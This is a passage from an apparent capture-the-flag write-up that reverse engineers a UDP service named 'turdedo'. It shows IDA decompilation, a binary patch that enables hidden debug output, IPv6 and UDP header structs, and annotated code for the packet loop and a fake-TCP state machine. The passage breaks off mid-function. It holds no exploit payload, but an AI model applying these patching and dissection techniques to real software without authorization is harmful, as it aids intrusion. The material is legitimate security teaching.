class="line"><span class="cl"><span class="nf">BYTE1</span><span class="p">(</span><span class="n">dword_804E17C</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE2</span><span class="p">(</span><span class="n">dword_804E17C</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE3</span><span class="p">(</span><span class="n">dword_804E17C</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">unsigned</span><span class="kr">__int8</span><span class="p">)</span><span class="n">dword_804E180</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE1</span><span class="p">(</span><span class="n">dword_804E180</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE2</span><span class="p">(</span><span class="n">dword_804E180</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE3</span><span class="p">(</span><span class="n">dword_804E180</span><span class="p">));</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nf">sub_804943B</span><span class="p">()</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">sub_8048E14</span><span class="p">(</span><span class="s">"turdedo"</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">sub_804BD3B</span><span class="p">();</span></span></span><span class="line"><span class="cl"><span class="n">result</span><span class="o">=</span><span class="n">dword_804E158</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">dword_804E158</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="n">result</span><span class="o">=</span><span class="nf">fwrite</span><span class="p">(</span><span class="s">"done...byebye</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="mi">1u</span><span class="p">,</span><span class="mh">0xEu</span><span class="p">,</span><span class="n">stderr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">v3</span><span class="o">=</span><span class="o">*</span><span class="nf">MK_FP</span><span class="p">(</span><span class="n">__GS__</span><span class="p">,</span><span class="mi">20</span><span class="p">)</span><span class="o">^</span><span class="n">v4</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="k">return</span><span class="n">result</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>My general approach to reverse engineering is pass-based. I make a fuzzy first pass where I label everything I know already (lol ground-truth). For the first pass I normally label stack variables and globals that interact with<code>libc</code> in some way. For instance, two of the global variables above (<code>dword_804E16C</code> and<code>dword_804E164</code>) are seeded with time &ndash; this could be used for several things (stack cookies, random seeds, timers, etc). I&rsquo;ll likely name these<code>seeded_with_time0</code> and<code>seeded_with_time1</code>and come back to them later when I get a better idea as to how they&rsquo;re used. The same technique applies to most other<code>libc</code> calls (<code>fopen()</code> returns a<code>FILE *</code>,<code>fread()</code> takes a<code>char *</code> for its first arg and a<code>FILE *</code> for its last arg, etc, etc). It&rsquo;s important to label absolutely everything, even if you don&rsquo;t know what it is. Mark it with something trivial at first and refine it in later passes.</p><h2 id="debug-prints">Debug Prints</h2><p>As shown in the code snippet above, the<code>fprintf</code> only happens if<code>dword_804E158 == 1</code>. When checking for xrefs to<code>dword_804E164</code>, I noticed that this was the case in many other calls. I renamed this value to debug and looked for a way to turn it on. There was a small problem though, the turdedo application itself didn&rsquo;t have a way to set it to 1 and the storage backing this debug variable was in the<code>.bss</code> (the uninitialized data section &ndash; or more appropriately, initialized to<code>0</code>). Since it was in the<code>.bss</code>, I couldn&rsquo;t just patch it in the binary. I needed to patch in code that set it to<code>1</code>.</p><p>I did this by replacing the instructions at the first check to debug with a single increment of the debug variable. I also removed the test and conditional branch for space reasons.</p><p><img src="/content/images/2022/05/debug_pre_patch.webp" alt="">Pre-debug patch<img src="/content/images/2022/05/debug_post_patch.webp" alt="">Post-debug patch</p><p>Now when we launch turdedo, we get the debug prints! :)</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># ./turdedo_with_debug</span></span></span><span class="line"><span class="cl">My addr: 2001:0000:ac10:2fa1:0000:f227:53ef:d05e</span></span></code></pre></div><h2 id="structures">Structures!</h2><p>The secret to reverse engineering is understanding what data types are being operated on. Since this service listens on the same UDP port as teredo, I expect to need some IPv6 structures &ndash; specifically the IPv6 header. Thankfully, those are easily found in your<code>/usr/include/netinet/</code> folder (in<code>ip.h</code>). I also took this opportunity to grab the UDP header structure.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">struct</span><span class="n">ip6_hdr</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">union</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">struct</span><span class="n">ip6_hdrctl</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="kt">u_int32_t</span><span class="n">ip6_un1_flow</span><span class="p">;</span><span class="cm">/* 20 bits of flow-ID */</span></span></span><span class="line"><span class="cl"><span class="kt">u_int16_t</span><span class="n">ip6_un1_plen</span><span class="p">;</span><span class="cm">/* payload length */</span></span></span><span class="line"><span class="cl"><span class="kt">u_int8_t</span><span class="n">ip6_un1_nxt</span><span class="p">;</span><span class="cm">/* next header */</span></span></span><span class="line"><span class="cl"><span class="kt">u_int8_t</span><span class="n">ip6_un1_hlim</span><span class="p">;</span><span class="cm">/* hop limit */</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="n">ip6_un1</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="kt">u_int8_t</span><span class="n">ip6_un2_vfc</span><span class="p">;</span><span class="cm">/* 4 bits version, top 4 bits class */</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="n">ip6_ctlun</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="k">struct</span><span class="n">in6_addr</span><span class="n">ip6_src</span><span class="p">;</span><span class="cm">/* source address */</span></span></span><span class="line"><span class="cl"><span class="k">struct</span><span class="n">in6_addr</span><span class="n">ip6_dst</span><span class="p">;</span><span class="cm">/* destination address */</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="nf">__attribute__</span><span class="p">((</span><span class="n">__packed__</span><span class="p">));</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="k">struct</span><span class="n">udphdr</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">u_short</span><span class="n">uh_sport</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">u_short</span><span class="n">uh_dport</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">u_short</span><span class="n">uh_ulen</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">u_short</span><span class="n">uh_sum</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="p">};</span></span></span></code></pre></div><p>This structure can be added directly into IDA&rsquo;s local types window. I modified mine slightly, by removing the union and breaking the<code>ip6_hdrctl</code> structure out into a separate declaration. I did this because I&rsquo;ve had issues in the past with nested structures and unions in IDA. However, it seems to work fine if you declare them all individually.</p><h2 id="main-loop">Main Loop</h2><p><code>sub_804BD3B</code> seems to be the main loop for the service. A few things jump out. First, it reads 1500 bytes from the UDP socket (the same as Ethernet&rsquo;s default MTU size) into a stack buffer. If we cast this buffer to our ipv6 header, we get a better idea of what&rsquo;s going on.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span><span class="nf">sub_804BD3B</span><span class="p">()</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="n">v0</span><span class="p">;</span><span class="c1">// eax@4</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">uint16_t</span><span class="n">v1</span><span class="p">;</span><span class="c1">// ax@6</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v2</span><span class="p">;</span><span class="c1">// ebx@8</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v3</span><span class="p">;</span><span class="c1">// ebx@8</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="n">v4</span><span class="p">;</span><span class="c1">// eax@8</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="n">v5</span><span class="p">;</span><span class="c1">// eax@12</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">socklen_t</span><span class="n">addr_len</span><span class="p">;</span><span class="c1">// [sp+20h] [bp-608h]@1</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v8</span><span class="p">;</span><span class="c1">// [sp+24h] [bp-604h]@2</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="n">ip6_hdr</span><span class="o">*</span><span class="n">v9</span><span class="p">;</span><span class="c1">// [sp+28h] [bp-600h]@6</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v10</span><span class="p">;</span><span class="c1">// [sp+2Ch] [bp-5FCh]@8</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">char</span><span class="n">buf</span><span class="p">[</span><span class="mi">1500</span><span class="p">];</span><span class="c1">// [sp+30h] [bp-5F8h]@1</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="k">struct</span><span class="n">sockaddr</span><span class="n">addr</span><span class="p">;</span><span class="c1">// [sp+60Ch] [bp-1Ch]@15</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v13</span><span class="p">;</span><span class="c1">// [sp+61Ch] [bp-Ch]@1</span></span></span><span class="line"><span class="cl"><span class="c1"/></span></span><span class="line"><span class="cl"><span class="n">v13</span><span class="o">=</span><span class="o">*</span><span class="nf">MK_FP</span><span class="p">(</span><span class="n">__GS__</span><span class="p">,</span><span class="mi">20</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">addr_len</span><span class="o">=</span><span class="mi">16</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="nf">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span></span></span><span class="line"><span class="cl"><span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v8</span><span class="o">=</span><span class="nf">recvfrom</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="n">buf</span><span class="p">,</span><span class="mi">1500u</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span><span class="o">&amp;</span><span class="n">addr_len</span><span class="p">);</span><span class="c1">// read in packet</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="k">if</span><span class="p">(</span><span class="n">v8</span><span class="o">&lt;=</span><span class="mi">0</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="k">break</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="nf">sub_804BCA5</span><span class="p">();</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">v8</span><span class="o">></span><span class="mi">39</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v9</span><span class="o">=</span><span class="p">(</span><span class="n">ip6_hdr</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">v1</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="mi">4</span><span class="p">]);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">v1</span><span class="o">+</span><span class="mi">40</span><span class="o">==</span><span class="n">v8</span><span class="p">)</span><span class="c1">// Size check?</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">memcmp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ipv6addr</span><span class="p">,</span><span class="o">&amp;</span><span class="n">v9</span><span class="o">-></span><span class="n">ip6_dst</span><span class="p">,</span><span class="mh">0x10u</span><span class="p">)</span><span class="p">)</span><span class="c1">// Meant for us?</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">v9</span><span class="o">-></span><span class="n">ip6_un1</span><span class="p">.</span><span class="n">ip6_un1_nxt</span><span class="o">==</span><span class="mi">44</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">sub_804969B</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="n">v8</span><span class="p">,</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span><span class="k">if</span><span class="p">(</span><span class="n">v9</span><span class="o">-></span><span class="n">ip6_un1</span><span class="p">.</span><span class="n">ip6_un1_nxt</span><span class="o">==</span><span class="mi">17</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">v8</span><span class="o">></span><span class="mi">48</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="nf">sub_80495CD</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="mi">48</span><span class="p">],</span><span class="n">v8</span><span class="o">-</span><span class="mi">48</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">sub_804B45B</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">printf</span><span class="p">(</span><span class="s">"Invalid protocol: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">v9</span><span class="o">-></span><span class="n">ip6_un1</span><span class="p">.</span><span class="n">ip6_un1_nxt</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="nf">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">debug</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v5</span><span class="o">=</span><span class="p">(</span><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="nf">sub_8049080</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="n">v5</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="nf">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">debug</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v2</span><span class="o">=</span><span class="mi">4</span><span class="o">*</span><span class="p">((</span><span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">v10</span><span class="o">&amp;</span><span class="mh">0xF</span><span class="p">)</span><span class="o">+</span><span class="mi">10</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">v3</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">v9</span><span class="o">-></span><span class="n">ip6_un1</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">)</span><span class="o">+</span><span class="n">v2</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">v4</span><span class="o">=</span><span class="p">(</span><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="nf">sub_8049080</span><span class="p">(</span><span class="mi">15</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="n">v4</span><span class="p">,</span><span class="n">v8</span><span class="p">,</span><span class="n">v3</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="nf">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">debug</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v0</span><span class="o">=</span><span class="p">(</span><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="nf">sub_8049080</span><span class="p">(</span><span class="mi">14</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="n">v0</span><span class="p">,</span><span class="n">v8</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="nf">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">return</span><span class="o">*</span><span class="nf">MK_FP</span><span class="p">(</span><span class="n">__GS__</span><span class="p">,</span><span class="mi">20</span><span class="p">)</span><span class="o">^</span><span class="n">v13</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>This code does 3 interesting things:</p><ul><li>It seems to validate that the reported packet length was what was received.</li><li>It checks to see if the packet&rsquo;s destination address matches our local ipv6 address.</li><li>It checks the<code>ip6_un1.ip6_un1_nxt</code> field.</li></ul><p>According to the spec, the<code>ip6_un1.ip6_un1_nxt</code> is the &ldquo;next&rdquo; protocol &ndash; meaning the one encapsulated in the IPv6 packet. If we search IDA&rsquo;s standard enum database (by clicking the value and hitting &rsquo;m&rsquo;), we&rsquo;ll see that<code>17</code> is<code>IPPROTO_UDP</code> and<code>44</code> is<code>IPPROTO_FRAGMENT</code>. Specifying any other value gives an &ldquo;invalid protocol&rdquo; error. The functions associated with each check are the handlers for UDP packets and ip6 fragmentation packets, respectively.</p><p>I decided to dive into the UDP processor first.</p><h2 id="udp-processor">UDP Processor</h2><p>The UDP processor is pretty straightforward, but it&rsquo;s a lie. It&rsquo;s really a fake TCP connection. You have to associate with a SYN/SYNACK/ACK. Once this is done, it keeps a record of your connection in the state table and forwards all subsequent packets onto a command processor. I&rsquo;m going to fast forward through the reverse engineering and just provide my fully annotated decompilation:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span><span class="kr">__cdecl</span><span class="nf">udp_state_machine</span><span class="p">(</span><span class="n">udp_ip63</span><span class="o">*</span><span class="n">packet_</span><span class="p">,</span><span class="k">struct</span><span class="n">sockaddr</span><span class="o">*</span><span class="n">addr</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="kt">char</span><span class="o">**</span><span class="n">v2</span><span class="p">;</span><span class="c1">// eax@3</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">char</span><span class="o">**</span><span class="n">v3</span><span class="p">;</span><span class="c1">// eax@6</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">uint16_t</span><span class="n">v4</span><span class="p">;</span><span class="c1">// bx@7</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v5</span><span class="p">;</span><span class="c1">// esi@9</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v6</span><span class="p">;</span><span class="c1">// ebx@9</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">char</span><span class="o">**</span><span class="n">v7</span><span class="p">;</span><span class="c1">// eax@9</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">udp_sport</span><span class="p">;</span><span class="c1">// ebx@10</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">uint16_t</span><span class="n">udp_dport</span><span class="p">;</span><span class="c1">// ax@10</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">uint16_t</span><span class="n">v11</span><span class="p">;</span><span class="c1">// ax@25</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">uint16_t</span><span class="n">packet_len</span><span class="p">;</span><span class="c1">// ax@28 MAPDST</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="n">in6_addr</span><span class="o">*</span><span class="n">v13</span><span class="p">;</span><span class="c1">// edx@34</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="n">in6_addr</span><span class="o">*</span><span class="n">v14</span><span class="p">;</span><span class="c1">// eax@34</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="n">in6_addr</span><span class="o">*</span><span class="n">v15</span><span class="p">;</span><span class="c1">// edx@34</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="n">in6_addr</span><span class="o">*</span><span class="n">v16</span><span class="p">;</span><span class="c1">// eax@34</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">pipedes</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span><span class="c1">// [sp+44h] [bp-A4h]@18</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="n">udphdr</span><span class="o">*</span><span class="n">udphdr</span><span class="p">;</span><span class="c1">// [sp+58h] [bp-90h]@4</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">char</span><span class="o">*</span><span class="n">udp_data</span><span class="p">;</span><span class="c1">// [sp+5Ch] [bp-8Ch]@4</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="n">struct_ptr</span><span class="o">*</span><span class="n">ptr</span><span class="p">;</span><span class="c1">// [sp+60h] [bp-88h]@10</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">write_len</span><span class="p">;</span><span class="c1">// [sp+64h] [bp-84h]@24</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">char</span><span class="n">s</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span><span class="c1">// [sp+68h] [bp-80h]@12</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v25</span><span class="p">;</span><span class="c1">// [sp+CCh] [bp-1Ch]@1</span></span></span><span class="line"><span class="cl"><span class="c1"/></span></span><span class="line"><span class="cl"><span class="n">v25</span><span class="o">=</span><span class="o">*</span><span class="nf">MK_FP</span><span class="p">(</span><span class="n">__GS__</span><span class="p">,</span><span class="mi">20</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">cleanup_stale_connections</span><span class="p">();</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">)</span><span class="o">></span><span class="mi">7u</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">udphdr</span><span class="o">=</span><span class="o">&amp;</span><span class="n">packet_</span><span class="o">-></span><span class="n">udphd</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">udp_data</span><span class="o">=</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">data</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">udphd</span><span class="p">.</span><span class="n">uh_dport</span><span class="p">)</span><span class="o">==</span><span class="mi">3544</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v4</span><span class="o">=</span><span class="nf">htons</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">v4</span><span class="o">==</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">udphdr</span><span class="o">-></span><span class="n">uh_ulen</span><span class="p">)</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">udp_sport</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">udphdr</span><span class="o">-></span><span class="n">uh_dport</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">udp_dport</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">udphdr</span><span class="o">-></span><span class="n">uh_sport</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">=</span><span class="nf">lookup_packet_in_state_table</span><span class="p">(</span></span></span><span class="line"><span class="cl"><span class="n">addr</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_src</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_src</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_src</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_src</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_dst</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_dst</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_dst</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_dst</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="n">udp_dport</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="n">udp_sport</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">ptr</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">switch</span><span class="p">(</span><span class="nf">LOBYTE</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">state</span><span class="p">)</span><span class="p">)</span></span></span><span class="line"><span 